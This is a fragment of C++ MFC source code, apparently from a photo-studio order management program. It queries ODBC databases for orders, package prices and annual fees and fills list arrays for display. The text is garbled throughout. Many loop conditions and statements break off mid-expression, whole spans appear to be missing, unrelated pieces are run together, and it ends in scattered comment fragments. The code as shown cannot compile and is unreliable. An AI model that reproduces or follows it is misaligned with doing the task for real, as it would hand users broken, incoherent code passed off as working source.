for(ii=0; ii(&g_List1array[0]), g_List1array.GetSize (), sizeof(g_List1array[0]), CompareByLabel1 ); CString id=g_List1array.ElementAt (0).ElementAt (0); for(ii=1; ii'入册' and name<>'入底' and %s \ UNION select * FROM [dindanspview4] where %s order by id", filter, filter); //sql.Format("SELECT * FROM [dindanspview3] where name<>'入册' and name<>'入底' and %s \ //order by id", filter); myset.Open (CRecordset::forwardOnly, sql); while(!myset.IsEOF()) { for(int i=0; i<8; i++) { myset.GetFieldValue (i, sql); array[i].Add(sql); } myset.MoveNext(); } myset.Close(); int count=array[0].GetSize(); g_List1array.SetSize(count , 1 ); if(g_List1array.GetSize ()) { CString id=array[0].ElementAt (0); ii=0; g_List1array.ElementAt (ii).Add ( array[0].ElementAt (ii)); g_List1array.ElementAt (ii).Add ( array[1].ElementAt (ii)); g_List1array.ElementAt (ii).Add ( array[2].ElementAt (ii)); g_List1array.ElementAt (ii).Add ( array[3].ElementAt (ii)); sql.Format ("%f", atof(array[4].ElementAt (ii))+atof(array[5].ElementAt (ii)));ConvertToPrice(sql); g_List1array.ElementAt (ii).Add ( sql); g_List1array.ElementAt (ii).Add ( ""); g_List1array.ElementAt (ii).Add ( array[6].ElementAt (ii)); g_List1array.ElementAt (ii).Add ( ""); g_List1array.ElementAt (ii).Add ( array[7].ElementAt (ii)); for(ii=1; iidbarraytemp; dbarraytemp.Copy(dbarray); dbarraytemp.InsertAt(0, &g_db); for(int a=dbarraytemp.GetSize ()-1; a>=0; a--) { m_pConndb=dbarraytemp.ElementAt (a); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); sql.Format ("%d", a-1); // if(a==0)sql="-1"; int oldsize=g_List1array.GetSize (); g_List1array.SetSize(oldsize+count , 1 ); CRstDindanForm rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="id"; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (oldsize+ii).RemoveAll (); g_List1array.ElementAt (oldsize+ii).Add(rsSt.id) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.txtype) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.from) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status4) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status6) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status5) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status8) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status3) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.time1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.time2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.time4) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.time6) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.time5) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.ren) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.taoxiname) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.taoxijiage) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter5) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter3) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter7) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter4) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter8) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter6) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.discount) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.authorize) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.discount2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.authorize2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.phone1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.phone2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.pinyin1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.pinyin2) ; g_List1array.ElementAt (oldsize+ii).Add(sql) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=(oldsize+ii))break; } rsSt.Close();g_List1array.SetSize(oldsize+ii , 1 ); } } break; case 227:// { g_List1array.RemoveAll (); CArraydbarraytemp; dbarraytemp.Copy(dbarray); while(dbarraytemp.GetSize()>1) { int last=dbarraytemp.GetSize()-1; dbarraytemp.RemoveAt(last); } dbarraytemp.InsertAt(0, &g_db); // CString strdate,strdate2; // strdate=filter.Left(10); // strdate2=filter.Right(10); // filter="kind='2'"; CString filterbak=filter; for(int a=dbarraytemp.GetSize ()-1; a>=0; a--) { filter=filterbak; m_pConndb=dbarraytemp.ElementAt (a); CStringArray idarray; CRecordset myset(m_pConndb); CString sql="select distinct(id) as cot from dindansp";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); while(!myset.IsEOF()) { sql=""; myset.GetFieldValue ("cot", sql); idarray.Add (sql); myset.MoveNext(); } myset.Close(); if(idarray.GetSize()) { filter=""; for(int i=0; im_List1array; CRecordset myset(m_pConndb); CString sql="select count(*) as cot from annualfeeview";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstannualfeeview rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.time2) ; m_List1array.ElementAt (ii).Add(rsSt.ren) ; m_List1array.ElementAt (ii).Add(rsSt.year) ; m_List1array.ElementAt (ii).Add("应交日期") ; m_List1array.ElementAt (ii).Add("是否交费") ; m_List1array.ElementAt (ii).Add(rsSt.date) ; m_List1array.ElementAt (ii).Add(rsSt.clerk) ; m_List1array.ElementAt (ii).Add(rsSt.status5) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; m_List1array.ElementAt (ii).Add(rsSt.bz) ; m_List1array.ElementAt (ii).Add("0") ;//0正常 1近2个月 2欠费 ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); g_List1array.SetSize(ii*10 , 1 ); int aa=0; int size=0; CString str; for(ii=0; iim_strRemoteHost); WriteLogin(ss); WriteLogin(e->m_strError);return; } nStep=1; CMemFile memfile; CArchive ar(&memfile, CArchive::store); for( ii=0; iim_strRemoteHost); WriteLogin(ss); } } //22 //salarycheck1 //dwToUserID==22 //dwToUserID==6 //washcount //select max(id) //ptChatMessage->bsql //在函数trans5中 ////select refresh balance setcheck23